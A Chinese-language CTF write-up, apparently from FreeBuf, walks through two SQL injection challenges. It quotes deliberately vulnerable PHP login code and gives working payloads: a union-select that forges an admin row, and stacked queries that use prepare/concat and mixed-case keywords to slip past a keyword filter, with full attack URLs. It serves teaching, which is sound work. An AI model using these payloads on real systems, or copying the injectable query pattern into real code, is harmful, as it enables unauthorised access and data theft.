之前我为大家介绍了sql注入的基础知识以及注入点判断和常见的注入手法,但是在实际的环境中往往不会像靶场中那样简单。今天我就来为大家介绍两种特殊场景的sql注入思路。
0x01 用户名与密码分开验证的情况
第一个场景我们以We Chall平台的Training: MySQL II 一题为例。
进入题目可以看到有一段提示,以及一个登录框:
提示的信息大概意思就是,这道题与MySQL I相同,但是这次我们需要使用更高级的注入才能骗过这种身份认证,这次的任务就是以管理员身份登录,并且为我们提供了源代码。
提示中提到的MySQL I我这里也简单说一下,就是一个我们之前提到过的,输入用户名admin’ #跳过密码验证的基础注入技巧。
那么我们来看这回的MySQL II有什么不同吧,既然他给我们提供了源代码,我们就先来看看吧:
<?php
/* TABLE STRUCTURE
CREATE TABLE IF NOT EXISTS users (
userid INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(32) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
password CHAR(32) CHARACTER SET ascii COLLATE ascii_bin NOT NULL
) ENGINE=myISAM;
*/
# Username and Password sent?
if ( (” !== ($username = Common::getPostString(‘username’))) && (false !== ($password = Common::getPostString(‘password’, false))) ) {
auth2_onLogin($chall, $username, $password);
}
/** * Get the database for this challenge.
* @return GDO_Database
*/
function auth2_db()
{ if (false === ($db = gdo_db_instance(‘localhost’, WCC_AUTH_BYPASS2_USER, WCC_AUTH_BYPASS2_PASS, WCC_AUTH_BYPASS2_DB))) {
die(‘Database error 0815_2!’);
}
$db->setLogging(false);
$db->setEMailOnError(false); return $db;
}
/**
* Exploit this! It is the same as MySQL-I, but with an additional check, marked with ### * @param WC_Challenge $chall
* @param unknown_type $username
* @param unknown_type $password
* @return boolean
*/
function auth2_onLogin(WC_Challenge $chall, $username, $password)
{
$db = auth2_db();
$password = md5($password);
$query = “SELECT * FROM users WHERE username=’$username'”;
if (false === ($result = $db->queryFirst($query))) {
echo GWF_HTML::error(‘Auth2’, $chall->lang(‘err_unknown’), false);
return false;
}
#############################
### This is the new check ###
if ($result[‘password’] !== $password) {
echo GWF_HTML::error(‘Auth2’, $chall->lang(‘err_password’), false);
return false;
} # End of the new code ###
#############################
echo GWF_HTML::message(‘Auth2’, $chall->lang(‘msg_welcome_back’, array(htmlspecialchars($result[‘username’]))), false);
if (strtolower($result[‘username’]) === ‘admin’) {
$chall->onChallengeSolved(GWF_Session::getUserID());
}
return true;
}
?>
<form action=”index.php” method=”post”>
<table>
<tr>
<td><?php echo $chall->lang(‘username’); ?>:</td>
<td><input type=”text” name=”username” value=”” /></td>
</tr>
<tr>
<td><?php echo $chall->lang(‘password’); ?>:</td>
<td><input type=”password” name=”password” value=”” /></td>
</tr>
<tr>
<td></td>
<td><input type=”submit” name=”login” value=”<?php echo $chall->lang(‘btn_login’); ?>” /></td>
</tr>
</table>
</form>
代码很长,看起来好像很复杂的样子。没有关系,我们只需要关注他是如何验证的部分就可以了,这里我也很贴心的帮大家把验证部分的代码截出来并带大家一起分析一下:
function auth2_onLogin(WC_Challenge $chall, $username, $password)
{
$db = auth2_db();
$password = md5($password); #将密码进行md5加密
$query = “SELECT * FROM users WHERE username=’$username'”; #sql查询语句
if (false === ($result = $db->queryFirst($query))) { #判断是否未查询到数据
echo GWF_HTML::error(‘Auth2’, $chall->lang(‘err_unknown’), false);
return false;
} #如果没查询到数据提示用户名未知,并返回false
if ($result[‘password’] !== $password) { #判断查询到的密码与输入的是否不一致
echo GWF_HTML::error(‘Auth2’, $chall->lang(‘err_password’), false);
return false;
} #如果输入的密码与查询出的不一致提示密码错误,并返回false
echo GWF_HTML::message(‘Auth2’, $chall->lang(‘msg_welcome_back’, array(htmlspecialchars($result[‘username’]))), false);
#检查都通过提示欢迎回来,并显示登陆的用户名。
if (strtolower($result[‘username’]) === ‘admin’) {
$chall->onChallengeSolved(GWF_Session::getUserID());
} #判断如果查询出的用户名为‘admin’则判断解题成功。
return true;
}
通过分析代码,我们可以看到,这道题的sql查询语句本来就是只查询用户名,然后再将密码与查询出的密码对比,而不是通过判断sql语句是否返回数据来判断是否验证成功的,这样我们就无法通过常规的截断sql查询语句来绕过密码验证。
这里我们就可以利用另一种方法:通过联合查询(union select)构造我们自定的用户名与密码来骗过程序。
通过分析源代码最开始告诉我们的表结构我们知道了表中一共有3个字段:userid,username,password。那么我们联合查询时同样查询对应的三个字段,将用户名与密码构造为我们自定的,然后将union前的语句查询值变为假即可使返回值变为我们自定的内容。
我们在本地环境中尝试搭建一个与题目相同的表,查询一下试试,看看是否可以任意构造用户名与密码。
我们可以看到我向表中随意插入了4条记录,并且用户admin的密码为nicaicai,这时我们尝试构造一个用户名为:ATL,密码为:Ocean的用户试试。
sql查询语句构造为:
SELECT * FROM users WHERE username=’1′ union select 1,’ATL’,’Ocean’;
我们可以看到确实返回了一条我们构造的用户记录。通过这种方法,我们就可以让程序以为我们构造的数据是从数据库中查询出的数据,从而让我们可以使用任意的身份登录了。
那么在这里的具体解题方法就是是在username栏填写:1′ union select 1,’admin’,md5(‘123’);#
那么为什么要这样填写呢?我们来分析一下这样填写sql语句会变成怎样的:
SELECT * FROM users WHERE username=’1′ union select 1,’admin’,md5(‘123′);#’
首先union前查询的username可以随便填写,只要在表中没有的值即可,其次因为代码中密码在判断前会进行md5加密,所以要在构造时将我们的密码也进行md5加密。最后#是为了将最后面的单引号注释掉。
这样我们在username一栏填写:1′ union select 1,’admin’,md5(‘123’);#
password一栏填写:123
就可以完成题目了:
0x02 过滤了某些查询关键字的情况
第二个场景我们以攻防世界中web方向高手进阶区的supersqli一题为例:
题目描述就是随便注,那我们也话不多说直接进入题目场景:
进入场景后只有一个输入框,我们就直接提交一下看看
可以看到提交了一个inject参数,页面显示了一个数组出来。
那么我们就按常规方法,先添加一个单引号试试:
页面有报错,并且可以判断出是字符型注入,单引号闭合。直接尝试进行联合查询注入:
结果发现程序过滤了select、update、delete、drop、insert、where等关键词,那我们就不能通过常规方法来直接进行注入。
这里我们就可以通过堆叠查询的方法,通过show tables;来查看所有的表:
http://220.249.52.133:52142/?inject=-1′;show tables;#
以及show columns from [表名];来显示表中的字段:
http://220.249.52.133:52142/?inject=-1′;show columns from `words`;show columns from `1919810931114514`;#
这里需要注意纯数字的表名需要使用反引号“`”包裹,原因是反引号是为了区分mysql的保留字符和普通字符而引入的符号,所以数据库、表、索引、列和别名都是用反引号包裹。不仅纯数字的表名需要,涉及到mysql保留字符的名称比如,select、and、or、as等等还有很多字符作为库名、表名、字段名等等这些名字使用时都需要使用反引号包裹才能查询出信息。
查看页面可以看到在表“1919810931114514”中有一个名为“flag”的字段,我们需要查询的目标就是他了。
但是select被过滤了不能使用,要怎么才能查询出字段中的信息呢?这里我们就可以使用预编译与concat()函数结合的方式来绕过。
优先介绍一下预编译的用法:
执行预编译语句,例如:prepare [语句名] from ‘select * from users where userid=?’
设置变量,例如:set @[变量名]=’3′
执行语句,例如:execute [语句名] using @[变量名]
这道题我们可以将查询语句从select中间拆开,然后再使用concat()来拼接在一起作为变量,来绕过select的过滤,然后执行即可。具体代码如下:
set @sql=concat(“sel”,”ect * from `1919810931114514`;”);
prepare ATL from @sql;
execute ATL;
访问的URL:http://220.249.52.133:52142/?inject=-1′;set @sql=concat(“sel”,”ect * from `1919810931114514`;”);prepare ATL from @sql;execute ATL;#
访问后发下还限制了“set”和“prepare”:
不过使用的是strstr()函数,这个函数是会区分大小写的,于是我们果断使用大小写绕过:
访问的URL:http://220.249.52.133:52142/?inject=-1′;sEt @sql=concat(“sel”,”ect * from `1919810931114514`;”);pRepAre ATL from @sql;execute ATL;#
成功拿到flag。到此就成功解出了这道题。
0x03 小结
通过这两道题我们也可以发现,很多时候sql注入的方式都不是固定的,使用基础的注入方式,往往效果都不能达到预期。同样只会使用工具也不能应对所有的场景,只有我们去多尝试,多积累,见多识广了之后才能遇到任何场景都可以游刃有余。
来源:freebuf.com 2020-11-23 08:46:05 by: ATL安全团队
请登录后发表评论
注册